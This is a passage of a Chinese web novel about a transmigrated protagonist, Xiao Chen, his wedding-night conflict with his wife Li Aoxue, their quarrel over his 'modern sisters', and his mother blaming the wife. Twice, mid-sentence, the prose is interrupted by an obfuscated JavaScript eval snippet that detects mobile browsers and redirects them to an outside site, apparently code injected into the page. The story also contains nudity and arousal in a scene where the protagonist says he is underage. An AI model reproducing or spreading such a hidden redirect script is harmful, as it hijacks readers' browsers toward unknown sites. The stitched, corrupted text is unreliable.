李傲雪抬起头,泪眼朦胧地望着肖晨,神情凄楚又坚定:“出嫁从夫,从我嫁给你的那一刻起,我就认准了你。我的心,我的人,都已属于你。若不能与你相濡以沫,这世间于我,又有何意义?” 肖晨心中五味杂陈,既为李傲雪的深情所触动,又因自己无法回应这份感情而倍感煎熬。他试图掰开李傲雪紧抱自己的双手,语气尽量温和却又透着无奈:“傲雪,你这想法太过偏激。人生并非只有男女之情,还有许多值得你珍视的东西,比如你的家人,比如这世间的美好。” 李傲雪却抱得更紧,泣不成声:“在我心中,你就是一切。若失去你,那些所谓的美好,我根本无心去看。少爷,求求你,给我一个机会,让我留在你身边,做你的女人,哪怕只是妾室,我也心甘情愿。” 肖晨长叹一口气,深知李傲雪深陷这份感情难以自拔,而自己却无力解开这个死结。他缓缓说道:“傲雪,感情之事不能强求,你如此执着,只会让自己更加痛苦。我……我真的给不了你想要的回应。你且先放开我,好好想想。”然而,李傲雪依旧死死抱住他,仿佛一旦松开,就会失去所有。 肖晨看着这般绝望无助的李傲雪,内心满是挣扎。接受她,自己实在难以逾越心里那道坎;可不接受,又实在不忍心看她如此遭罪。犹豫再三,他终究还是轻轻抱住了李傲雪,柔声道:“你好好的,别作践自己。” 李傲雪听闻,眼中瞬间燃起一丝希望,急切地问道:“那你会留下来陪我吗?” 肖晨无奈地叹了口气,终究还是点了点头,说道:“我陪你就是。” 李傲雪紧绷的身体这才缓缓放松,她将头埋在肖晨怀里,小声抽泣着。肖晨抱着她,心中五味杂陈,只能轻轻拍着她的背,试图安抚她的情绪。 两人就这样静静地相拥着,房间里安静得只能听到李傲雪渐渐平复的抽泣声。过了许久,李傲雪抬起头,看着肖晨,脸上还挂着未干的泪痕,轻声说道:“少爷,只要你能留在我身边,我以后再也不逼你了。” 肖晨看着她,心中涌起一阵怜惜,说道:“别哭了,哭多了对眼睛不好。”说着,他伸手轻轻擦去李傲雪脸上的泪水。 李傲雪微微红了红脸, shyly 说道:“嗯,我听少爷的。”此刻的她,仿佛一个得到糖果的孩子,眼中满是幸福与满足。 肖晨看着李傲雪这副模样,心中不禁有些感慨。他知道,自己这一留,或许会给李傲雪更多的希望,可他又实在不忍心推开她。在这寂静的夜里,两人相拥而坐,未来的路虽依旧迷茫,但至少在这一刻,李傲雪感受到了一丝温暖,而肖晨,也暂时放下了心中的纠结与无奈。 李傲雪见肖晨终于愿意留下来,心中满是欢喜与期待,她微微颤抖着双手,试探性地开始为肖晨宽衣解带。肖晨身子微微一僵,但终究还是没有拒绝。 李傲雪见他这般反应,胆子渐渐大了起来,在他面前缓缓褪去衣衫。她裸露着身躯,脸颊绯红,满心羞涩与紧张,偷偷抬眼去看肖晨。 然而,映入她眼帘的,是肖晨那清澈的眼神,没有丝毫欲望,平静得如同波澜不惊的湖面。李傲雪心中一滞,满心的期待瞬间被一丝失落所取代。她不明白,为何自己如此主动,肖晨却依旧如此淡然。 肖晨看着李傲雪,心中五味杂陈。他明白李傲雪的心意,可自己内心对女人的身体早已见怪不怪了,自己眼神却无法如她所愿。他张了张嘴,想要说些什么,却又不知该如何开口。 房间里陷入了一阵尴尬的沉默,李傲雪咬了咬嘴唇,轻声说道:“少爷,难道……难道我真的如此不堪,让您连看一眼的欲望都没有吗?”她的声音带着一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993169|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖,满心都是被冷落的委屈。 肖晨赶忙别过头,不敢再看李傲雪,说道:“傲雪,你别误会。这并非是你不好,只是……只是我心中实在无法生出那样的情愫。”他的语气中带着几分无奈与愧疚,深知自己的行为让李傲雪伤心了。 李傲雪眼中泪光闪烁,缓缓穿上衣服,默默走到床边坐下。她低垂着头,看不清脸上的表情,只是轻声说道:“少爷,我懂了。或许,这就是我的命吧。”说罢,泪水不受控制地再次滑落,打湿了她的裙摆,也浸湿了她那颗满怀期待又被狠狠刺痛的心。 肖晨满心不忍,抬手轻轻替她擦去眼泪,嗫嚅着说道:“我不是说了我还小吗,我这还没成年呢,也许这种事急不得。”话一出口,他自己都觉得这借口牵强,但实在不知如何面对李傲雪的深情与绝望。 说完,为了安抚李傲雪,他只得硬着头皮,缓缓伸手给她把衣服脱了,动作有些僵硬和不自然。李傲雪默默配合着,眼中的泪依旧在眼眶里打转,却不再言语。当衣物一件件滑落,房间里弥漫着一种异样而尴尬的静谧,只有两人略显急促的呼吸声。 肖晨不敢直视李傲雪的身体,心里满是纠结与无奈,他知道这样的举动可能会给李傲雪更多的误解,但当下似乎也没有更好的办法来缓解这极度压抑悲伤的气氛。而李傲雪则紧闭双眼,泪水顺着脸颊滑落,心中既有对肖晨此举的一丝期待,又夹杂着深深的苦涩与迷茫,不知这段复杂而纠结的关系究竟会走向何方。 李傲雪将肖晨的手放在自己的心口,目光灼灼地望着他。肖晨的视线触及她的身体,顿时一阵慌乱,下意识地想要抽回手。 李傲雪紧紧握住他的手,不肯松开,眼中满是期待与哀怨,问道:“少爷,对我真的就没有一点想法吗?” 肖晨面色涨红,眼神闪躲,结结巴巴地说道:“我……我没有。傲雪,你别这样,我们之间……不该是这样的。”他内心充满挣扎,一方面是李傲雪炽热的情感,另一方面是自己难以言说的复杂心境。他深知,此刻若给予李傲雪错误的信号,往后只会让她更加痛苦。 李傲雪眼中泪光闪烁,语气带着一丝哀求:“少爷,难道我就这么令您讨厌?我只是想得到您的爱,哪怕只有一点点。”说着,她将肖晨的手又往心口按了按,似要让他感受自己那颗因他而剧烈跳动的心。 肖晨深吸一口气,强忍着内心的慌乱,坚定地说道:“傲雪,感情之事不能勉强。我敬重你,但这与男女之爱不同。你如此执着,最后受伤的只会是你自己。”他试图让李傲雪明白,他们之间或许注定无法有她期待的那种感情。 李傲雪满眼悲戚与不甘,哽咽着问道:“你是不是嫌我长得丑?” 肖晨赶忙否认:“没有,你很美,在我眼中,你容貌出众。” 李傲雪咬了咬嘴唇,一狠心将亵衣脱掉,近乎执拗地追问:“那你为什么不看我呢?” 肖晨被这突如其来的举动弄得窘迫万分,内心天人交战。想着自己若是再如此扭捏,可能会让李傲雪更加难过,便暗自给自己打气,想着也没什么看不得的,自己怕什么。于是,他微微抬眼,目光触及李傲雪的身躯,脸上瞬间滚烫,心脏也不受控制地剧烈跳动起来。但他的眼神中更多的是慌乱与不知所措,而非李傲雪所期待的那种炽热与欲望。 李傲雪见他终于看向自己,眼中燃起一丝希望,声音颤抖着:“少爷,你看,我真的努力在让你看到我,难道你真的不能对我有一点心动吗?” 肖晨赶忙别过头,心中满是纠结与无奈,说道:“傲雪,这不是美丑的问题,也不是看不看的事。感情是发自内心的,我……我实在无法强迫自己。”他深知自己的话或许会再次伤害李傲雪,可又不知该如何改变这尴尬又痛苦的局面。 李傲雪眼中满是期盼,轻声问道:“那你能抱着我睡吗?” 肖晨犹豫了一下,想着自己灵魂是女孩,抱着她应该不会有事吧,便应道:“好。” 听到肖晨的应允,李傲雪心中闪过一丝窃喜。她缓缓躺到床上,肖晨也有些僵硬地在她身旁躺下,伸出手臂,轻轻将她揽入怀中。李傲雪紧紧依偎着肖晨,感受着他的体温,脸上浮现出一丝满足的神情。 肖晨心里则有些忐忑,尽管他认为自己灵魂是女孩,但此刻这般亲密接触,仍让他觉得浑身不自在。他尽量让自己放松,平稳呼吸,试图忽略这份异样感。房间里安静极了,只有两人轻微的呼吸声交织在一起。 李傲雪感受到肖晨抱紧了自己,心中爱意涌动,情难自禁,用光滑的肌肤轻轻蹭着他。肖晨顿时觉得一阵酥麻之感袭来,身体不由自主地起了反应。 他心中大惊,脸上一阵滚烫,可又不想让李傲雪察觉到自己的异样,只能强装镇定。他紧闭双眼,努力克制着内心的慌乱与冲动,试图让自己的思绪转移到其他事情上,以平复身体的反应。 李傲雪似乎并未察觉到肖晨的异常,依旧沉浸在这份亲密接触的喜悦之中,她微微抬起头,在肖晨怀里蹭了蹭,呢喃道:“少爷……”声音轻柔,带着一丝满足。 肖晨喉咙干涩,艰难地应了一声:“嗯……”他此刻只觉得如坐针毡,内心纠结万分,一方面是李傲雪亲密的举动,另一方面是自己复杂的情感和难以言说的秘密。他深知不能任由这种情况发展下去,可又不知该如何得体地制止李傲雪,只能暗暗祈祷李傲雪能尽快睡着,好让自己摆脱这尴尬又煎熬的处境。 李傲雪在他耳边轻轻呢喃:“少爷,你的身体好烫。”温热的气息喷洒在肖晨耳畔,让他愈发紧张。 肖晨竭力稳住声音,说道:“可能太热了吧。”他其实心里清楚,这热度并非因温度而起。 李傲雪听闻,伸手便要去掀被子,嘴里说着:“那我把被子掀开。” 肖晨一惊,赶忙制止:“不,不用。这样就挺好。”他生怕被子掀开,自己难以掩饰的生理反应会被察觉,内心慌乱如麻,可表面上还要强装镇定,不敢有丝毫松懈。 李傲雪见肖晨这般反应,心中虽有些疑惑,但沉浸在亲密氛围中的她并未多想,只是往肖晨怀里又蹭了蹭,轻声说道:“少爷,只要能这样靠着你,我就觉得好幸福。” 肖晨脸上火辣辣的,心里既窘迫又无奈,只能僵硬地应道:“嗯,你……你觉得好就好。”他努力让自己的身体保持静止,不敢再有丝毫多余动作,生怕引发更难以收拾的局面。 时间在这尴尬又微妙的气氛中缓缓流逝,每一秒对肖晨来说都如同煎熬。李傲雪的呼吸渐渐变得均匀,似是已陷入梦乡,可肖晨却依旧紧绷着神经,不敢放松警惕。 不知过了多久,肖晨确定李傲雪已经熟睡,这才小心翼翼地想要抽出被她枕着的手臂。然而,他刚一动弹,李傲雪便嘤咛了一声,往他怀里钻得更紧,手臂也下意识地搂紧了他的腰。肖晨顿时不敢再动,脸上满是无奈与苦笑。 好不容易等到窗外天色渐明,肖晨终于松了一口气。他再次尝试着轻轻抽出手臂,这次李傲雪没有太大反应,他成功脱身。看着熟睡中面容恬静的李傲雪,肖晨心中五味杂陈,轻手轻脚地起身,整理好衣衫,走出了房间。 来到屋外,清晨的凉风扑面而来,吹得肖晨清醒了许多。他暗自思索着昨晚的事,深知不能再这样与李傲雪纠葛下去,必须找个合适的时机,跟她把话说清楚,以免给她造成更深的伤害,也让自己能从这复杂的情感困境中解脱出来。可一想到李傲雪昨晚那深情又执着的模样,他又不禁感到一阵头疼,不知该如何开口。 9. 误会加深,不许侮辱她们 看着天快亮了,肖晨担心自己一早不在床上,会引起李傲雪的怀疑,为了不让她看出来异样,只好又轻手轻脚地回到床上去睡。 折腾了大半夜,他实在疲惫不堪,没过多久,困意便如潮水般涌来。不知不觉间,他的手臂自然地环上了李傲雪的腰肢,将她轻轻抱在怀里。 清晨的阳光透过窗户的缝隙,轻柔地洒在床榻上。李傲雪悠悠转醒,迷糊中感觉自己被紧紧拥抱着,微微睁开眼,发现是肖晨的怀抱,脸上顿时洋溢出幸福的笑容。她小心翼翼地,生怕吵醒肖晨,就这样静静享受着这份温暖,心中满是甜蜜。她心想,或许少爷在睡梦中的举动,才是他内心真实情感的流露,说不定在少爷心底,自己还是有一席之地的。 过了好一会儿,肖晨也慢慢转醒,当他意识到自己正抱着李傲雪时,瞬间清醒过来,脸上闪过一丝尴尬。他试图不着痕迹地松开手,装作刚睡醒的样子。李傲雪却娇嗔道:“少爷,你抱着我睡得可香啦。”肖晨有些不好意思地笑了笑,说道:“我……我昨晚太累了,没注意。” 李傲雪眼中闪过一丝失落,但很快又恢复笑容:“没关系呀,能被少爷抱着,我很开心呢。”肖晨看着她的模样,心中一阵纠结,他知道不能再让李傲雪误解下去,可又不知该如何在这气氛正好的时候,说出那些残忍的话,只能暗自叹了口气,想着找个更合适的时机再跟她坦白。 肖晨急忙想起身,目光扫到她还未穿上衣服,清晨的光线让一切比昨晚更为清晰。李傲雪见他这般,脸上泛起红晕,轻声问道:“少爷觉得我这个做妻子的如何?” 肖晨有些慌乱,随口应付道:“还行,我都见得多了。你的身材还可以。”话一出口,他就意识到不妥。 李傲雪听闻,脸上的笑容瞬间凝固,眼中闪过一丝震惊与难过,追问道:“少爷,你……你见过很多女人的身体?” 肖晨心里暗叫不好,但话已出口,只能硬着头皮解释:“当然啊,女人的身体构造我自然清楚不过了。”话刚说完,他瞬间意识到自己的解释不但没起到作用,反而让情况更糟糕了,恨不得咬掉自己的舌头,心中懊悔不已,不知该如何挽回这尴尬且愈发糟糕的局面。 李傲雪眼眶瞬间红了,声音带着一丝颤抖与委屈:“少爷,你怎能……我以为……我在你心中是特别的,没想到……”她用被子紧紧裹住自己的身体,背过身去,肩膀微微颤抖着。 肖晨看着她的背影,满心焦急与自责,忙伸手轻轻搭在她肩上,说道:“傲雪,你误会了,我不是你想的那个意思。我只是……只是从医书上了解到这些,并非像你想的那样……有过什么不当行为。”他心里祈祷着李傲雪能相信自己这番说辞,可又深知自己刚刚的话实在太容易引起误会了。 李傲雪转过身,眼中含泪,带着几分质问的口吻说道:“少爷可没有看医书的乐趣吧。” 肖晨不知怎的,一股脑儿将心中所想说了出来:“我是看过很多女性的身体又怎么样,女人哪块部位是我不清楚的。”话一出口,他才回过神,意识到这话说得太过了。 他心里暗自叫苦,可又忍不住想着:自己灵魂本就是女性,在现代,女孩子在浴池中一起洗澡,各种身材的都见过,对女性身体构造确实再熟悉不过,只是这在古代,实在难以解释清楚。 李傲雪听闻,脸上满是悲戚与愤怒,泪水不受控制地滑落:“少爷,你怎能如此轻贱我!我一心待你,你却……却说出这般伤人的话。在你心里,我与那些不知廉耻的女子又有何区别?”她紧紧抓着被子,身子微微颤抖,似是遭受了极大的打击。 肖晨这才慌了神,忙坐到床边,试图安抚李傲雪:“傲雪,你真的误会了。我绝非轻贱你之意,只是……只是一时口不择言。我心中对你,其实是很敬重的,只是不知该如何表达。”他心急如焚,搜肠刮肚地想着如何才能让李傲雪相信自己,可越着急,越觉得言辞苍白无力。 李傲雪别过头,不愿看他,哭着说道:“敬重?若真是敬重,又怎会说出那样的话?少爷,你让我太失望了。”说罢,哭得愈发伤心,整个身子都因抽泣而颤抖起来。 李傲雪满脸泪痕,气得浑身发抖:“她们怎么不是不知廉耻?光天化日之下,女子怎可随意袒露身体让你看!” 肖晨一心只想为自己“现代姐妹”辩护,完全忘了身处古代, blurted out(脱口而出):“她们怎么能是不知廉耻的女子,她们可是我的朋友,没人比她们更好了,那可是我最好的姐妹。”话一出口,他瞬间呆住,心里暗叫大事不妙。 李傲雪瞪大了眼睛,仿佛听到了什么天方夜谭,满脸的震惊与愤怒:“姐妹?少爷竟与这般女子称姐道妹,还一同……一同……”她气得说不出完整的话,只觉得自己的世界都崩塌了。在她的认知里,这简直是伤风败俗到了极点。 肖晨急忙解释:“傲雪,不是你想的那样,在我来的地方,女子之间一起沐浴、相互坦诚相见,是很正常的事,那只是一种日常相处,没有任何逾矩之处。”但他心里清楚,这种现代观念在古代根本难以被接受,自己这番解释听起来是如此荒诞。 李傲雪根本不愿相信,哭喊道:“少爷莫要再狡辩!这世间岂会有如此不知礼数之地?你分明是在哄骗我!我一心托付,换来的竟是这般……这般让我蒙羞之事!”她边哭边用被子蒙住头,不愿再看肖晨一眼,心中的痛苦与绝望如汹涌的潮水般将她淹没。 肖晨说到,我可没做,我们是好朋友。李傲雪听闻肖晨这般言语,简直惊得瞠目结舌,气得浑身发颤。 肖晨却不管不顾,继续说道:“我可没狡辩,她们可是我的好朋友,不许你这么说她们。”他沉浸在维护朋友的情绪中,完全忘了身处古代这一事实,一股脑儿地倾诉:“我们在一起洗澡怎么了,不仅如此我们还在一块睡觉。没她们我这生活过的多无趣。” 李傲雪又惊又怒,从床上坐起,用被子紧紧裹住自己,怒视着肖晨,声音颤抖地骂道:“你……你简直荒诞至极!这成何体统!女子与男子同榻而眠,还公然一起洗澡,这等伤风败俗之事,简直闻所未闻!你……你竟还觉得理所当然!”她眼中满是失望与痛心,原本对肖晨的爱意,此刻被愤怒和震惊所取代。 肖晨这才稍稍回过神,意识到自己闯下大祸,可话已出口,难以收回。他试图补救,急切地说道:“傲雪,你冷静些,那是在另一个地方,有着截然不同的风俗。在那里,人与人之间的相处方式和这里大不相同,但绝非你所想的那般不堪。那些都是纯粹的友情,并无任何不轨之意。”然而,李傲雪哪里肯听,她哭着大喊:“住口!我不想听你这些荒谬之言!你做出这等有辱门风之事,还有何脸面为自己辩解!”说罢,她掩面痛哭,哭得肝肠寸断,仿佛整个世界都已崩塌。 肖晨说到:你哭什么,我身边的姐妹哪有你这样一天哭哭啼啼的,你这样都让我该怎么跟你说话,你真不如她们热情。 李傲雪听闻此言,哭得愈发悲恸,心中满是绝望与委屈。她哽咽着说道:“少爷竟将我与那些……那些不知礼数的女子相比。我满心都是对少爷的情意,小心翼翼地对待这份感情,生怕有丝毫差池,可在少爷眼中,我竟如此不堪,还比不上那些行为放荡的女子。” 肖晨见李傲雪哭得如此伤心,心中也有些懊悔自己刚刚说话太重,但又觉得自己所言皆是事实,于是缓和了些语气说道:“我不是说你不堪,只是你和我以前那些姐妹性格差别太大了。她们性格直爽,热情大方,有什么就说什么,相处起来很轻松。不像你,动不动就哭,我都不知道该怎么和你交流了。” 李傲雪抬起泪眼,望着肖晨,眼中满是哀伤:“少爷,这里是我们生活的地方,有着不同的规矩和礼数。我自小接受的教导,让我只能如此。我努力学着做一个好女子,做少爷的贤妻,可少爷却总拿我与她们比较。难道在少爷心里,我就没有一点好,没有一点值得留恋的地方吗?” 肖晨心中一阵纠结,他也知道李傲雪为他付出了很多,可习惯了现代朋友相处模式的他,实在难以适应李傲雪这般敏感脆弱的性子。他沉默片刻,缓缓说道:“傲雪,我知道你对我好,可我们之间似乎总是有些隔阂。或许……或许我们都该好好想想,该如何相处。” 李傲雪听了这话,心中一凉,仿佛被一盆冷水从头浇下。她抱紧自己的身子,声音颤抖地说道:“少爷,难道我们之间的感情,就如此不堪一击吗?难道你就不能试着接受现在的我,试着理解我吗?”她眼中满是期盼,希望肖晨能回心转意,给这段感情一个机会。 他说到你可别说感情,小姐姐你我之间可没什么感情,你我二人可是清白的,我可不是那种,你不要乱想。 李傲雪听闻,如遭雷击,脸上血色瞬间褪尽。她呆呆地望着肖晨,嘴唇颤抖,难以置信地问道:“少爷,你……你说什么?我们……我们相处这么久,你竟说没有感情,还说什么清白?” 肖晨有些躲避她的目光,硬着头皮道:“我说的是实话。小姐姐,你我之间确实没什么感情。我一直都把这当普通相处,你莫要想得太多。我不是那种会随意与女子牵扯不清的人。” 李傲雪眼眶泛红,泪水在眼中打转,声音带着哭腔:“少爷,怎么能这样?这些日子的相伴,难道都是假的?我为你做的一切,你都看不到吗?你怎能如此狠心,这般否定我们之间的过往。” 肖晨心中虽有一丝不忍,但仍固执道:“那些不过是平常往来,你别往男女之情上想。我希望你能明白,我们之间不应有这些纠葛。” 李傲雪再也忍不住,泪水夺眶而出,哭喊道:“好一个不应有纠葛!少爷今日这番话,算是彻底断了我的念想。我一片真心,终究是错付了!”说罢,她用被子蒙住头,哭得肝肠寸断,仿佛要将这些日子以来的委屈与深情,都随着泪水一同宣泄出来。 肖晨看着哭得伤心欲绝的李傲雪,实在是有些无奈,心中虽有一丝愧疚,但被她这哭声扰得愈发心烦意乱,忍不住说道:“你别哭了,哭的我心烦。” 李傲雪却哭得更加厉害,边哭边说:“少爷这般无情,我怎能不哭?我满心的委屈,除了哭,还能怎样?”她的声音带着浓浓的鼻音,每一个字都像是从心底挤出来的。 肖晨在一旁手足无措,试图劝说道:“好了好了,我刚刚说话是重了些,但你也别一直哭啊。我们……我们好好说不行吗?”他本就不擅长处理这种情感纠葛,此刻更是觉得头大如斗。 李傲雪微微抬起头,泪眼朦胧地看着肖晨,说道:“好好说?少爷刚刚那般决绝,我还能与少爷说什么?难道要我装作什么都没发生,继续若无其事地待在少爷身边?”她满心的绝望,对这段感情已不抱太多希望。 肖晨叹了口气,坐到床边,尽量让自己的语气柔和一些:“傲雪,我知道我刚刚的话伤了你,但我只是想把话说清楚,不想让你误会。我们之间或许一开始就有些误解,我希望我们能把这些讲明白,以后……以后也能好好相处。”他试图挽回一些局面,可又不知该如何表达,只能这般含糊地说着。 李傲雪满脸悲戚与愤怒,声泪俱下地控诉:“还有什么可说的,你竟然跟那些不知廉耻的女子在一起。我一直以为你不碰我是洁身自好,没想到你跟风尘女子竟如此熟稔,还这般护着她们!” 肖晨一听,顿时急了,只觉得李傲雪对自己朋友的评价实在太过不公。他双眼一瞪,语气强硬地回应道:“我不是跟你说了我的朋友都是善良的人,不许你侮辱她们。不然别怪我对你不客气!”在他心中,那些现代的姐妹是无比珍贵的存在,容不得李傲雪这般诋毁。 李傲雪被肖晨的反应吓了一跳,心中的委屈更是如决堤之水,她难以置信地看着肖晨,质问道:“对我不客气?我不过是道出实情,少爷却为了那些女子对我如此凶怒。在少爷心中,我竟连她们都不如?少爷口口声声说她们善良,可在这世间,哪有女子会与男子随意共处、袒露身体,这难道不是不知廉耻?”她满心的痛苦与不甘,只觉得自己在肖晨心中的地位,远比不上那些他口中不知所谓的“朋友”。 肖晨心急如焚,却又不知该如何让李傲雪理解现代的观念,只能反复强调:“你不懂,那是完全不同的世界,她们绝非你想的那样。她们真诚、仗义,我们之间是纯粹的友谊,没有任何龌龊。你这般污蔑她们,实在太过分了!”他气得满脸通红,胸膛剧烈起伏,在他看来,李傲雪对朋友的偏见已经到了不可理喻的地步。 李傲雪毫不示弱,梗着脖子说道:“我就说她们又如何,女子不知廉耻,还不能说?”她眼中满是倔强与悲愤,泪水仍在眼眶中打转。 肖晨怒上心头,伸手猛地抓着她的下巴,眼神凌厉:“我警告过你咯,不许说她们,你懂什么!没她们谁陪我一起度过那些读书的日子,谁来陪伴我。我一个人在房间里多孤单。”他情绪激动,声音不自觉地提高,仿佛要将心中压抑已久的情绪一股脑宣泄出来。 李傲雪被他抓得下巴生疼,眼中闪过一丝恐惧,但更多的仍是不甘和委屈,声音带着哭腔说道:“少爷,你竟为了她们对我如此粗暴。那我呢,这些日子我在你身边,难道就从未给过你陪伴,从未让你感到温暖?在你心中,我就这般无足轻重,连提都比不上你的那些朋友?”她满心苦涩,觉得自己全心全意的付出,在肖晨眼中竟如此不值一提。 肖晨看着李傲雪眼中的泪花,心中微微一怔,手上的力气也不自觉松了些。他意识到自己刚刚的举动有些过激,但仍嘴硬道:“你和她们不一样,你不懂我们之间的情谊。那是一种相互理解、相互支持的感情,在我最需要的时候,她们都在。”他试图解释,但又觉得在这古代,李傲雪恐怕永远无法理解他和现代朋友之间的深厚羁绊。 李傲雪轻轻推开肖晨的手,泪流满面地说道:“好,我不懂,我什么都不懂。既然少爷如此看重她们,又何必与我纠缠。从今往后,少爷与你的朋友们相伴便是,我……我不再打扰便是。”说罢,她转身背对着肖晨,身体因抽泣而微微颤抖,心仿佛被撕裂一般疼痛。 肖晨叹了口气,放缓了些语气说道:“虽然你这些日子陪我,我也并非毫无感知。可是你我的思想并不能一致。很多时候,我想的你不理解,你说的我也难以苟同。你根本无法融入我们,无法体会我和朋友们之间那种默契和快乐。” 李傲雪听着这话,心中如坠冰窖,缓缓转过身,泪眼模糊地看着肖晨,声音颤抖:“所以,在少爷心里,我终究是个外人,无论我怎么努力,都比不上少爷那些不知所谓的朋友。我付出的真心,在少爷眼中不过如此。”她满心的凄凉,只觉得自己这段时间的深情相待,都成了一场笑话。 肖晨看着李傲雪伤心欲绝的模样,心中也有些不忍,但还是硬着头皮说道:“傲雪,不是我要如此狠心。只是我们生活的环境不同,观念差异太大。就拿你对我朋友的看法来说,你觉得她们行为不当,可在我看来那是再正常不过的事。这种分歧,不是一时半会儿能消除的。”他无奈地摇了摇头,试图让李傲雪明白两人之间难以逾越的鸿沟。 李傲雪咬着嘴唇,强忍着泪水,说道:“那少爷的意思是,我们之间就没有可能了?我这些日子的陪伴,都可以一笔勾销?”她眼中还残留着一丝期盼,希望肖晨能回心转意,给这段感情一个转机。 肖晨沉默片刻,终究还是狠下心说道:“或许,我们真的不合适。长痛不如短痛,早点说清楚,对你我都好。”他别过头,不敢再看李傲雪那绝望的眼神,心中也有些烦闷,不知自己这样的决定,究竟是对是错。 李傲雪脸色瞬间变得惨白,身子摇摇欲坠,难以置信地望着肖晨,颤声问道:“你的意思是要休了我?” 肖晨避开她的目光,心中虽有些不忍,但还是咬咬牙说道:“这样再好不过,你我都没什么感情,我又不能爱你。还不如分开,你也可以去找属于自己的幸福。” 李傲雪眼眶中的泪水再次夺眶而出,她悲戚地笑了笑,笑声中满是自嘲与绝望:“找自己的幸福?在这世上,女子被夫家休弃,便如蒙尘之珠,哪还有什么幸福可言。少爷今日这般绝情,可曾想过我今后该如何自处?” 肖晨心中一阵纠结,他深知在这个时代,被休弃对女子意味着什么,但他又觉得长痛不如短痛,犹豫片刻后说道:“我会给你足够的补偿,让你今后的生活衣食无忧。你还年轻,总会遇到真正对你好,能与你相伴一生的人。” 李傲雪缓缓摇头,泪水不停地滑落:“金钱又怎能弥补这满心的伤痛?我一心待你,将所有的情感都倾注在你身上,如今却换来如此结局。少爷既然心意已决,多说无益,只望少爷莫要后悔今日之举。”说罢,她转身慢慢走向内室,脚步沉重,每一步都似用尽了全身的力气,留下肖晨独自站在原地,心中五味杂陈。 肖晨满心烦躁,双手好似不听使唤,拿着衣服半天都穿不好。纽扣仿佛故意与他作对,怎么都对不准扣眼,衣袖也缠作一团。他低声咒骂一句,再也耐不住性子,大声唤来丫鬟:“来人!服侍我穿衣洗漱!” 丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993170|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟听到呼喊,不敢有丝毫耽搁,一路小跑着进来。见少爷面色阴沉,她大气都不敢出,小心翼翼地走上前,轻声说道:“少爷,奴婢这就伺候您。”说罢,便熟练地拿起衣服,先帮肖晨整理好褶皱,再仔细地将袖子套进他的手臂,接着一颗颗扣好纽扣。 在丫鬟伺候洗漱时,肖晨紧绷着脸,眼神游离,思绪还沉浸在刚刚与李傲雪的争执中。他有些懊恼自己刚刚为何如此冲动,可又觉得自己与李傲雪之间观念的鸿沟难以逾越。看着铜镜中自己略显疲惫与烦躁的面容,他暗暗叹了口气,不知道接下来该如何面对这混乱的局面。 洗漱完毕,丫鬟轻声问道:“少爷,还有什么吩咐吗?”肖晨回过神,挥了挥手,说道:“没什么事了,你先下去吧。”丫鬟福了福身,轻手轻脚地退了出去,留下肖晨独自在房内,继续被这复杂的情绪和棘手的状况所困扰。 肖母端坐在厅中的主位上,神色凝重,将伺候肖晨的丫鬟唤到跟前,目光犀利地问道:“他们同房了没有?” 丫鬟赶忙屈膝行礼,恭敬回道:“回老夫人的话,没有。只不过早上奴婢瞧见少爷,模样可是生气得很。” 肖母听闻,心中暗自思忖,脸上闪过一丝不悦,冷哼一声道:“哼,一定是那个贱人没伺候好我儿子,才惹得他这般生气。去,把少夫人给我叫过来!” 不多时,李傲雪面色憔悴,脚步迟缓地来到厅中。她向肖母福身行礼,轻声说道:“儿媳给母亲请安。” 肖母上下打量她一番,见她双眼红肿,心中更是认定她有错,板着脸质问道:“你说说,今儿个怎么把你相公气成那样?新婚不久,就这般不懂事,往后还得了?” 李傲雪心中满是委屈,嘴唇颤抖,欲言又止。她不知该如何向肖母解释这其中复杂的缘由,那些关于肖晨口中现代朋友的事,又怎能说得出口。犹豫片刻,她只能低声说道:“母亲,儿媳……儿媳也不知为何,相公突然就生气了。儿媳……儿媳会找机会与相公好好说说的。” 肖母眉头紧皱,不耐烦地说道:“哼,别在这儿跟我装糊涂。我儿子向来稳重,若不是你做了什么过分的事,怎会如此动怒。我可告诉你,进了我肖家的门,就得守肖家的规矩,好好伺候我儿子。要是再敢惹他不高兴,我可不会轻饶你!” 李傲雪眼眶泛红,满心委屈地说道:“母亲,儿媳句句属实,少爷说自己跟一些风尘女子是好朋友,还看过很多女性的身体,他还让我不要侮辱她们。” 肖母一听,顿时怒目圆睁,猛地一拍桌子,大骂道:“你胡说什么!我儿子向来品行端正,从来不去那种地方。你们成婚至今连通房都没有,你竟编出这般荒谬的谎言,胡说也得有个度!”肖母气得胸口剧烈起伏,怎么也不愿相信自己儿子会做出这种事,认定是李傲雪在胡言乱语,故意污蔑。 李傲雪扑通一声跪下,泪流满面地说道:“母亲,儿媳不敢撒谎。今儿早上,少爷就是这般说的,儿媳听得真真切切。儿媳知道这话难以置信,可这确实是少爷亲口所言啊。”她满心期盼肖母能相信自己,可看着肖母那愤怒又怀疑的眼神,心中又满是绝望。 肖母看着跪在地上哭泣的李傲雪,心中虽有一丝动摇,但仍厉声道:“我儿怎会结交风尘女子,还说这些不知廉耻的话。定是你不知检点,惹得我儿厌烦,才编造出这些话来污蔑他。你若再敢胡言,休怪我不顾婆媳情分!”肖母心中坚信儿子的为人,觉得李傲雪此举实在可恶,对她的不满又添几分。 